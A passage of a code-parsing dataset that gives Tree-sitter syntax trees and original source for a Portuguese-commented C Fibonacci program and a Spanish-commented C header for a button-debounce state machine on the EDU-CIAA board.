12}, "end_point": {"row": 15, "column": 13}}, {"id": 77, "type": "number_literal", "text": "1", "parent": 74, "children": [], "start_point": {"row": 15, "column": 14}, "end_point": {"row": 15, "column": 15}}, {"id": 78, "type": "declaration", "text": "double soma = 0;", "parent": 60, "children": [79, 80], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 19}}, {"id": 79, "type": "primitive_type", "text": "double", "parent": 78, "children": [], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 9}}, {"id": 80, "type": "init_declarator", "text": "soma = 0", "parent": 78, "children": [81, 82, 83], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 18}}, {"id": 81, "type": "identifier", "text": "soma", "parent": 80, "children": [], "start_point": {"row": 16, "column": 10}, "end_point": {"row": 16, "column": 14}}, {"id": 82, "type": "=", "text": "=", "parent": 80, "children": [], "start_point": {"row": 16, "column": 15}, "end_point": {"row": 16, "column": 16}}, {"id": 83, "type": "number_literal", "text": "0", "parent": 80, "children": [], "start_point": {"row": 16, "column": 17}, "end_point": {"row": 16, "column": 18}}, {"id": 84, "type": "declaration", "text": "int k;", "parent": 60, "children": [85, 86], "start_point": {"row": 17, "column": 3}, "end_point": {"row": 17, "column": 9}}, {"id": 85, "type": "primitive_type", "text": "int", "parent": 84, "children": [], "start_point": {"row": 17, "column": 3}, "end_point": {"row": 17, "column": 6}}, {"id": 86, "type": "identifier", "text": "k", "parent": 84, "children": [], "start_point": {"row": 17, "column": 7}, "end_point": {"row": 17, "column": 8}}, {"id": 87, "type": "for_statement", "text": "for(k=1;k<=n;k++){\n \t temp = i + soma;\n \t i = soma;\n \t soma = temp;\n }", "parent": 60, "children": [88, 92, 96], "start_point": {"row": 18, "column": 3}, "end_point": {"row": 22, "column": 5}}, {"id": 88, "type": "assignment_expression", "text": "k=1", "parent": 87, "children": [89, 90, 91], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 10}}, {"id": 89, "type": "identifier", "text": "k", "parent": 88, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 8}}, {"id": 90, "type": "=", "text": "=", "parent": 88, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 9}}, {"id": 91, "type": "number_literal", "text": "1", "parent": 88, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 10}}, {"id": 92, "type": "binary_expression", "text": "k<=n", "parent": 87, "children": [93, 94, 95], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 18, "column": 15}}, {"id": 93, "type": "identifier", "text": "k", "parent": 92, "children": [], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 18, "column": 12}}, {"id": 94, "type": "<=", "text": "<=", "parent": 92, "children": [], "start_point": {"row": 18, "column": 12}, "end_point": {"row": 18, "column": 14}}, {"id": 95, "type": "identifier", "text": "n", "parent": 92, "children": [], "start_point": {"row": 18, "column": 14}, "end_point": {"row": 18, "column": 15}}, {"id": 96, "type": "update_expression", "text": "k++", "parent": 87, "children": [97, 98], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 19}}, {"id": 97, "type": "identifier", "text": "k", "parent": 96, "children": [], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 17}}, {"id": 98, "type": "++", "text": "++", "parent": 96, "children": [], "start_point": {"row": 18, "column": 17}, "end_point": {"row": 18, "column": 19}}, {"id": 99, "type": "assignment_expression", "text": "temp = i + soma", "parent": 87, "children": [100, 101, 102], "start_point": {"row": 19, "column": 7}, "end_point": {"row": 19, "column": 22}}, {"id": 100, "type": "identifier", "text": "temp", "parent": 99, "children": [], "start_point": {"row": 19, "column": 7}, "end_point": {"row": 19, "column": 11}}, {"id": 101, "type": "=", "text": "=", "parent": 99, "children": [], "start_point": {"row": 19, "column": 12}, "end_point": {"row": 19, "column": 13}}, {"id": 102, "type": "binary_expression", "text": "i + soma", "parent": 99, "children": [103, 104, 105], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 22}}, {"id": 103, "type": "identifier", "text": "i", "parent": 102, "children": [], "start_point": {"row": 19, "column": 14}, "end_point": {"row": 19, "column": 15}}, {"id": 104, "type": "+", "text": "+", "parent": 102, "children": [], "start_point": {"row": 19, "column": 16}, "end_point": {"row": 19, "column": 17}}, {"id": 105, "type": "identifier", "text": "soma", "parent": 102, "children": [], "start_point": {"row": 19, "column": 18}, "end_point": {"row": 19, "column": 22}}, {"id": 106, "type": "assignment_expression", "text": "i = soma", "parent": 87, "children": [107, 108, 109], "start_point": {"row": 20, "column": 7}, "end_point": {"row": 20, "column": 15}}, {"id": 107, "type": "identifier", "text": "i", "parent": 106, "children": [], "start_point": {"row": 20, "column": 7}, "end_point": {"row": 20, "column": 8}}, {"id": 108, "type": "=", "text": "=", "parent": 106, "children": [], "start_point": {"row": 20, "column": 9}, "end_point": {"row": 20, "column": 10}}, {"id": 109, "type": "identifier", "text": "soma", "parent": 106, "children": [], "start_point": {"row": 20, "column": 11}, "end_point": {"row": 20, "column": 15}}, {"id": 110, "type": "assignment_expression", "text": "soma = temp", "parent": 87, "children": [111, 112, 113], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 18}}, {"id": 111, "type": "identifier", "text": "soma", "parent": 110, "children": [], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 11}}, {"id": 112, "type": "=", "text": "=", "parent": 110, "children": [], "start_point": {"row": 21, "column": 12}, "end_point": {"row": 21, "column": 13}}, {"id": 113, "type": "identifier", "text": "temp", "parent": 110, "children": [], "start_point": {"row": 21, "column": 14}, "end_point": {"row": 21, "column": 18}}, {"id": 114, "type": "return_statement", "text": "return soma;", "parent": 60, "children": [115], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 16}}, {"id": 115, "type": "identifier", "text": "soma", "parent": 114, "children": [], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 15}}]}, "node_categories": {"declarations": {"functions": [8, 60, 62], "variables": [6, 11, 17, 32, 65, 69, 72, 78, 84], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [14, 22, 26, 30, 40, 44, 47, 53, 57, 92, 96, 102], "assignments": [36, 88, 99, 106, 110], "loops": [35, 87], "conditionals": [9, 12, 15, 18, 20, 21, 23, 27, 31, 34, 37, 41, 43, 45, 48, 52, 54, 56, 58, 63, 66, 68, 71, 75, 81, 86, 89, 93, 95, 97, 100, 103, 105, 107, 109, 111, 113, 115], "returns": [114], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 25, 29, 39, 50, 77, 83, 91], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "fibonacci(long)"}, {"node_id": 60, "universal_type": "function", "name": "k;", "text_snippet": "double fibonacci(long n)\t //fibonacci nao-recursiva\n{\n \t double temp;\n \t double i = 1;\n \t double s"}, {"node_id": 62, "universal_type": "function", "name": "unknown", "text_snippet": "fibonacci(long n)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "#include <stdio.h>\n"}, {"node_id": 1, "text": "#include"}, {"node_id": 3, "text": "#include <stdlib.h>\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#include <stdio.h>\n#include <stdlib.h>\ndouble fibonacci(long);\nmain(){\n\t long resultado, num;\n\t printf(\"Entre com um inteiro: \");\n\t scanf(\"%ld\", &num);\n\t int i;\n\t for (i = 1;i<=num;i++)\n\t \t printf(\"Fibonacci(%3d) - %G\\n\", i, fibonacci(i));\n getchar();\n}\ndouble fibonacci(long n)\t //fibonacci nao-recursiva\n{\n \t double temp;\n \t double i = 1;\n \t double soma = 0;\n \t int k;\n \t for(k=1;k<=n;k++){\n \t temp = i + soma;\n \t i = soma;\n \t soma = temp;\n }\n return soma;\n}\n"}
81,118
c
/** * @file debounce.h * @brief Modulo para lectura de botones con antirebote en EDU-CIAA * @author <NAME> * @date Apr 1, 2020 */ #ifndef DEBOUNCE_H_ #define DEBOUNCE_H_ #include "sapi.h" #include <stdint.h> #include <stdbool.h> #define DEBOUNCE_TIME 40 /** * @enum debounceState_t * @brief enumeracion para los estados de la FSM */ typedef enum { UP, FALLING, DOWN, RISING } debounceState_t; /** * @struct debounceButton_t * @brief estructura usada para el manejo de la FSM */ typedef struct { bool_t buttonPressed; /**< flag para saber si el boton esta presionado */ bool_t buttonReleased; /**< flag para saber si el boton esta presionado */ gpioMap_t key; /**< Boton que tiene asignado la FSM */ debounceState_t buttonState; /**< estado en el que se encuentra la FSM */ uint32_t time_down; /**< momento en que se presiona el boton */ uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */ } debounceButton_t; /** * @brief Funcion para inicializar la FSM para un boton * @param pButton estructura de la FSM que se desea inicializar * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM */ void debounceSM_Init(debounceButton_t *pButton, gpioMap_t key); /** * @brief Funcion para control de la FSM * @param pButton structura de la FSM que se desea controlar */ void debounceSM_Update(debounceButton_t *pButton); #endif /* DEBOUNCE_H_ */
29.02
48
(translation_unit) "/**\n * @file debounce.h\n * @brief Modulo para lectura de botones con antirebote en EDU-CIAA\n * @author <NAME>\n * @date Apr 1, 2020\n */\n\n#ifndef DEBOUNCE_H_\n#define DEBOUNCE_H_\n\n#include "sapi.h"\n#include <stdint.h>\n#include <stdbool.h>\n\n#define DEBOUNCE_TIME 40\n\n/**\n * @enum debounceState_t\n * @brief enumeracion para los estados de la FSM\n */\ntypedef enum\n{\n UP,\n FALLING,\n DOWN,\n RISING\n} debounceState_t;\n/**\n * @struct debounceButton_t\n * @brief estructura usada para el manejo de la FSM\n */\ntypedef struct\n{\n bool_t buttonPressed; /**< flag para saber si el boton esta presionado */\n bool_t buttonReleased; /**< flag para saber si el boton esta presionado */\n gpioMap_t key; /**< Boton que tiene asignado la FSM */\n debounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n uint32_t time_down; /**< momento en que se presiona el boton */\n uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;\n/**\n * @brief Funcion para inicializar la FSM para un boton\n * @param pButton estructura de la FSM que se desea inicializar\n * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM\n */\nvoid debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);\n/**\n * @brief Funcion para control de la FSM\n * @param pButton structura de la FSM que se desea controlar\n */\nvoid debounceSM_Update(debounceButton_t *pButton);\n\n#endif /* DEBOUNCE_H_ */\n" (comment) "/**\n * @file debounce.h\n * @brief Modulo para lectura de botones con antirebote en EDU-CIAA\n * @author <NAME>\n * @date Apr 1, 2020\n */" (preproc_ifdef) "#ifndef DEBOUNCE_H_\n#define DEBOUNCE_H_\n\n#include "sapi.h"\n#include <stdint.h>\n#include <stdbool.h>\n\n#define DEBOUNCE_TIME 40\n\n/**\n * @enum debounceState_t\n * @brief enumeracion para los estados de la FSM\n */\ntypedef enum\n{\n UP,\n FALLING,\n DOWN,\n RISING\n} debounceState_t;\n/**\n * @struct debounceButton_t\n * @brief estructura usada para el manejo de la FSM\n */\ntypedef struct\n{\n bool_t buttonPressed; /**< flag para saber si el boton esta presionado */\n bool_t buttonReleased; /**< flag para saber si el boton esta presionado */\n gpioMap_t key; /**< Boton que tiene asignado la FSM */\n debounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n uint32_t time_down; /**< momento en que se presiona el boton */\n uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;\n/**\n * @brief Funcion para inicializar la FSM para un boton\n * @param pButton estructura de la FSM que se desea inicializar\n * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM\n */\nvoid debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);\n/**\n * @brief Funcion para control de la FSM\n * @param pButton structura de la FSM que se desea controlar\n */\nvoid debounceSM_Update(debounceButton_t *pButton);\n\n#endif" (#ifndef) "#ifndef" (identifier) "DEBOUNCE_H_" (preproc_def) "#define DEBOUNCE_H_\n" (#define) "#define" (identifier) "DEBOUNCE_H_" (preproc_include) "#include "sapi.h"\n" (#include) "#include" (string_literal) ""sapi.h"" (") """ (string_content) "sapi.h" (") """ (preproc_include) "#include <stdint.h>\n" (#include) "#include" (system_lib_string) "<stdint.h>" (preproc_include) "#include <stdbool.h>\n" (#include) "#include" (system_lib_string) "<stdbool.h>" (preproc_def) "#define DEBOUNCE_TIME 40\n" (#define) "#define" (identifier) "DEBOUNCE_TIME" (preproc_arg) "40" (comment) "/**\n * @enum debounceState_t\n * @brief enumeracion para los estados de la FSM\n */" (type_definition) "typedef enum\n{\n UP,\n FALLING,\n DOWN,\n RISING\n} debounceState_t;" (typedef) "typedef" (enum_specifier) "enum\n{\n UP,\n FALLING,\n DOWN,\n RISING\n}" (enum) "enum" (enumerator_list) "{\n UP,\n FALLING,\n DOWN,\n RISING\n}" ({) "{" (enumerator) "UP" (identifier) "UP" (,) "," (enumerator) "FALLING" (identifier) "FALLING" (,) "," (enumerator) "DOWN" (identifier) "DOWN" (,) "," (enumerator) "RISING" (identifier) "RISING" (}) "}" (type_identifier) "debounceState_t" (;) ";" (comment) "/**\n * @struct debounceButton_t\n * @brief estructura usada para el manejo de la FSM\n */" (type_definition) "typedef struct\n{\n bool_t buttonPressed; /**< flag para saber si el boton esta presionado */\n bool_t buttonReleased; /**< flag para saber si el boton esta presionado */\n gpioMap_t key; /**< Boton que tiene asignado la FSM */\n debounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n uint32_t time_down; /**< momento en que se presiona el boton */\n uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;" (typedef) "typedef" (struct_specifier) "struct\n{\n bool_t buttonPressed; /**< flag para saber si el boton esta presionado */\n bool_t buttonReleased; /**< flag para saber si el boton esta presionado */\n gpioMap_t key; /**< Boton que tiene asignado la FSM */\n debounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n uint32_t time_down; /**< momento en que se presiona el boton */\n uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */\n}" (struct) "struct" (field_declaration_list) "{\n bool_t buttonPressed; /**< flag para saber si el boton esta presionado */\n bool_t buttonReleased; /**< flag para saber si el boton esta presionado */\n gpioMap_t key; /**< Boton que tiene asignado la FSM */\n debounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n uint32_t time_down; /**< momento en que se presiona el boton */\n uint32_t elapsed_time; /**< tiempo durante el cual se mantuvo el boton presionado */\n}" ({) "{" (field_declaration) "bool_t buttonPressed;" (type_identifier) "bool_t" (field_identifier) "buttonPressed" (;) ";" (comment) "/**< flag para saber si el boton esta presionado */" (field_declaration) "bool_t buttonReleased;" (type_identifier) "bool_t" (field_identifier) "buttonReleased" (;) ";" (comment) "/**< flag para saber si el boton esta presionado */" (field_declaration) "gpioMap_t key;" (type_identifier) "gpioMap_t" (field_identifier) "key" (;) ";" (comment) "/**< Boton que tiene asignado la FSM */" (field_declaration) "debounceState_t buttonState;" (type_identifier) "debounceState_t" (field_identifier) "buttonState" (;) ";" (comment) "/**< estado en el que se encuentra la FSM */" (field_declaration) "uint32_t time_down;" (primitive_type) "uint32_t" (field_identifier) "time_down" (;) ";" (comment) "/**< momento en que se presiona el boton */" (field_declaration) "uint32_t elapsed_time;" (primitive_type) "uint32_t" (field_identifier) "elapsed_time" (;) ";" (comment) "/**< tiempo durante el cual se mantuvo el boton presionado */" (}) "}" (type_identifier) "debounceButton_t" (;) ";" (comment) "/**\n * @brief Funcion para inicializar la FSM para un boton\n * @param pButton estructura de la FSM que se desea inicializar\n * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM\n */" (declaration) "void debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);" (primitive_type) "void" (function_declarator) "debounceSM_Init(debounceButton_t *pButton, gpioMap_t key)" (identifier) "debounceSM_Init" (parameter_list) "(debounceButton_t *pButton, gpioMap_t key)" (() "(" (parameter_declaration) "debounceButton_t *pButton" (type_identifier) "debounceButton_t" (pointer_declarator) "*pButton" (*) "*" (identifier) "pButton" (,) "," (parameter_declaration) "gpioMap_t key" (type_identifier) "gpioMap_t" (identifier) "key" ()) ")" (;) ";" (comment) "/**\n * @brief Funcion para control de la FSM\n * @param pButton structura de la FSM que se desea controlar\n */" (declaration) "void debounceSM_Update(debounceButton_t *pButton);" (primitive_type) "void" (function_declarator) "debounceSM_Update(debounceButton_t *pButton)" (identifier) "debounceSM_Update" (parameter_list) "(debounceButton_t *pButton)" (() "(" (parameter_declaration) "debounceButton_t *pButton" (type_identifier) "debounceButton_t" (pointer_declarator) "*pButton" (*) "*" (identifier) "pButton" ()) ")" (;) ";" (#endif) "#endif" (comment) "/* DEBOUNCE_H_ */"
119
0
{"language": "c", "success": true, "metadata": {"lines": 48, "avg_line_length": 29.02, "nodes": 80, "errors": 0, "source_hash": "b5616a9229db052d72d5d70ad4e38fd56cb4dd0e3480395283094c37f212fddc", "categorized_nodes": 63}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef DEBOUNCE_H_\n#define DEBOUNCE_H_\n\n#include \"sapi.h\"\n#include <stdint.h>\n#include <stdbool.h>\n\n#define DEBOUNCE_TIME 40\n\n/**\n * @enum debounceState_t\n * @brief enumeracion para los estados de la FSM\n */\ntypedef enum\n{\n\tUP,\n\tFALLING,\n\tDOWN,\n\tRISING\n} debounceState_t;\n/**\n * @struct debounceButton_t\n * @brief estructura usada para el manejo de la FSM\n */\ntypedef struct\n{\n\tbool_t buttonPressed;\t\t /**< flag para saber si el boton esta presionado */\n\tbool_t buttonReleased;\t\t /**< flag para saber si el boton esta presionado */\n\tgpioMap_t key;\t\t\t\t /**< Boton que tiene asignado la FSM */\n\tdebounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n\tuint32_t time_down;\t\t\t /**< momento en que se presiona el boton */\n\tuint32_t elapsed_time;\t\t /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;\n/**\n * @brief Funcion para inicializar la FSM para un boton\n * @param pButton estructura de la FSM que se desea inicializar\n * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM\n */\nvoid debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);\n/**\n * @brief Funcion para control de la FSM\n * @param pButton structura de la FSM que se desea controlar\n */\nvoid debounceSM_Update(debounceButton_t *pButton);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 19, 33, 56, 69, 79], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 52, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 7}}, {"id": 2, "type": "identifier", "text": "DEBOUNCE_H_", "parent": 0, "children": [], "start_point": {"row": 7, "column": 8}, "end_point": {"row": 7, "column": 19}}, {"id": 3, "type": "preproc_def", "text": "#define DEBOUNCE_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 5, "type": "identifier", "text": "DEBOUNCE_H_", "parent": 3, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include \"sapi.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"sapi.h\"", "parent": 6, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 17}}, {"id": 9, "type": "preproc_include", "text": "#include <stdint.h>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<stdint.h>", "parent": 9, "children": [], "start_point": {"row": 11, "column": 9}, "end_point": {"row": 11, "column": 19}}, {"id": 12, "type": "preproc_include", "text": "#include <stdbool.h>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<stdbool.h>", "parent": 12, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 20}}, {"id": 15, "type": "preproc_def", "text": "#define DEBOUNCE_TIME 40\n", "parent": 0, "children": [16, 17, 18], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 16, "type": "#define", "text": "#define", "parent": 15, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 7}}, {"id": 17, "type": "identifier", "text": "DEBOUNCE_TIME", "parent": 15, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 21}}, {"id": 18, "type": "preproc_arg", "text": "40", "parent": 15, "children": [], "start_point": {"row": 14, "column": 22}, "end_point": {"row": 14, "column": 24}}, {"id": 19, "type": "type_definition", "text": "typedef enum\n{\n\tUP,\n\tFALLING,\n\tDOWN,\n\tRISING\n} debounceState_t;", "parent": 0, "children": [20, 21, 32], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 26, "column": 18}}, {"id": 20, "type": "typedef", "text": "typedef", "parent": 19, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 7}}, {"id": 21, "type": "enum_specifier", "text": "enum\n{\n\tUP,\n\tFALLING,\n\tDOWN,\n\tRISING\n}", "parent": 19, "children": [22, 23], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 26, "column": 1}}, {"id": 22, "type": "enum", "text": "enum", "parent": 21, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 12}}, {"id": 23, "type": "enumerator_list", "text": "{\n\tUP,\n\tFALLING,\n\tDOWN,\n\tRISING\n}", "parent": 21, "children": [24, 26, 28, 30], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 26, "column": 1}}, {"id": 24, "type": "enumerator", "text": "UP", "parent": 23, "children": [25], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 3}}, {"id": 25, "type": "identifier", "text": "UP", "parent": 24, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 3}}, {"id": 26, "type": "enumerator", "text": "FALLING", "parent": 23, "children": [27], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 8}}, {"id": 27, "type": "identifier", "text": "FALLING", "parent": 26, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 8}}, {"id": 28, "type": "enumerator", "text": "DOWN", "parent": 23, "children": [29], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 5}}, {"id": 29, "type": "identifier", "text": "DOWN", "parent": 28, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 5}}, {"id": 30, "type": "enumerator", "text": "RISING", "parent": 23, "children": [31], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 7}}, {"id": 31, "type": "identifier", "text": "RISING", "parent": 30, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 7}}, {"id": 32, "type": "type_identifier", "text": "debounceState_t", "parent": 19, "children": [], "start_point": {"row": 26, "column": 2}, "end_point": {"row": 26, "column": 17}}, {"id": 33, "type": "type_definition", "text": "typedef struct\n{\n\tbool_t buttonPressed;\t\t /**< flag para saber si el boton esta presionado */\n\tbool_t buttonReleased;\t\t /**< flag para saber si el boton esta presionado */\n\tgpioMap_t key;\t\t\t\t /**< Boton que tiene asignado la FSM */\n\tdebounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n\tuint32_t time_down;\t\t\t /**< momento en que se presiona el boton */\n\tuint32_t elapsed_time;\t\t /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;", "parent": 0, "children": [34, 35, 55], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 39, "column": 19}}, {"id": 34, "type": "typedef", "text": "typedef", "parent": 33, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 7}}, {"id": 35, "type": "struct_specifier", "text": "struct\n{\n\tbool_t buttonPressed;\t\t /**< flag para saber si el boton esta presionado */\n\tbool_t buttonReleased;\t\t /**< flag para saber si el boton esta presionado */\n\tgpioMap_t key;\t\t\t\t /**< Boton que tiene asignado la FSM */\n\tdebounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n\tuint32_t time_down;\t\t\t /**< momento en que se presiona el boton */\n\tuint32_t elapsed_time;\t\t /**< tiempo durante el cual se mantuvo el boton presionado */\n}", "parent": 33, "children": [36], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 39, "column": 1}}, {"id": 36, "type": "struct", "text": "struct", "parent": 35, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 14}}, {"id": 37, "type": "field_declaration", "text": "bool_t buttonPressed;", "parent": 35, "children": [38, 39], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 22}}, {"id": 38, "type": "type_identifier", "text": "bool_t", "parent": 37, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 7}}, {"id": 39, "type": "field_identifier", "text": "buttonPressed", "parent": 37, "children": [], "start_point": {"row": 33, "column": 8}, "end_point": {"row": 33, "column": 21}}, {"id": 40, "type": "field_declaration", "text": "bool_t buttonReleased;", "parent": 35, "children": [41, 42], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 23}}, {"id": 41, "type": "type_identifier", "text": "bool_t", "parent": 40, "children": [], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 7}}, {"id": 42, "type": "field_identifier", "text": "buttonReleased", "parent": 40, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 22}}, {"id": 43, "type": "field_declaration", "text": "gpioMap_t key;", "parent": 35, "children": [44, 45], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 15}}, {"id": 44, "type": "type_identifier", "text": "gpioMap_t", "parent": 43, "children": [], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 10}}, {"id": 45, "type": "field_identifier", "text": "key", "parent": 43, "children": [], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 14}}, {"id": 46, "type": "field_declaration", "text": "debounceState_t buttonState;", "parent": 35, "children": [47, 48], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 29}}, {"id": 47, "type": "type_identifier", "text": "debounceState_t", "parent": 46, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 16}}, {"id": 48, "type": "field_identifier", "text": "buttonState", "parent": 46, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 28}}, {"id": 49, "type": "field_declaration", "text": "uint32_t time_down;", "parent": 35, "children": [50, 51], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 20}}, {"id": 50, "type": "primitive_type", "text": "uint32_t", "parent": 49, "children": [], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 9}}, {"id": 51, "type": "field_identifier", "text": "time_down", "parent": 49, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 19}}, {"id": 52, "type": "field_declaration", "text": "uint32_t elapsed_time;", "parent": 35, "children": [53, 54], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 23}}, {"id": 53, "type": "primitive_type", "text": "uint32_t", "parent": 52, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 9}}, {"id": 54, "type": "field_identifier", "text": "elapsed_time", "parent": 52, "children": [], "start_point": {"row": 38, "column": 10}, "end_point": {"row": 38, "column": 22}}, {"id": 55, "type": "type_identifier", "text": "debounceButton_t", "parent": 33, "children": [], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 18}}, {"id": 56, "type": "declaration", "text": "void debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);", "parent": 0, "children": [57, 58], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 63}}, {"id": 57, "type": "primitive_type", "text": "void", "parent": 56, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 4}}, {"id": 58, "type": "function_declarator", "text": "debounceSM_Init(debounceButton_t *pButton, gpioMap_t key)", "parent": 56, "children": [59, 60], "start_point": {"row": 45, "column": 5}, "end_point": {"row": 45, "column": 62}}, {"id": 59, "type": "identifier", "text": "debounceSM_Init", "parent": 58, "children": [], "start_point": {"row": 45, "column": 5}, "end_point": {"row": 45, "column": 20}}, {"id": 60, "type": "parameter_list", "text": "(debounceButton_t *pButton, gpioMap_t key)", "parent": 58, "children": [61, 66], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 62}}, {"id": 61, "type": "parameter_declaration", "text": "debounceButton_t *pButton", "parent": 60, "children": [62, 63], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 46}}, {"id": 62, "type": "type_identifier", "text": "debounceButton_t", "parent": 61, "children": [], 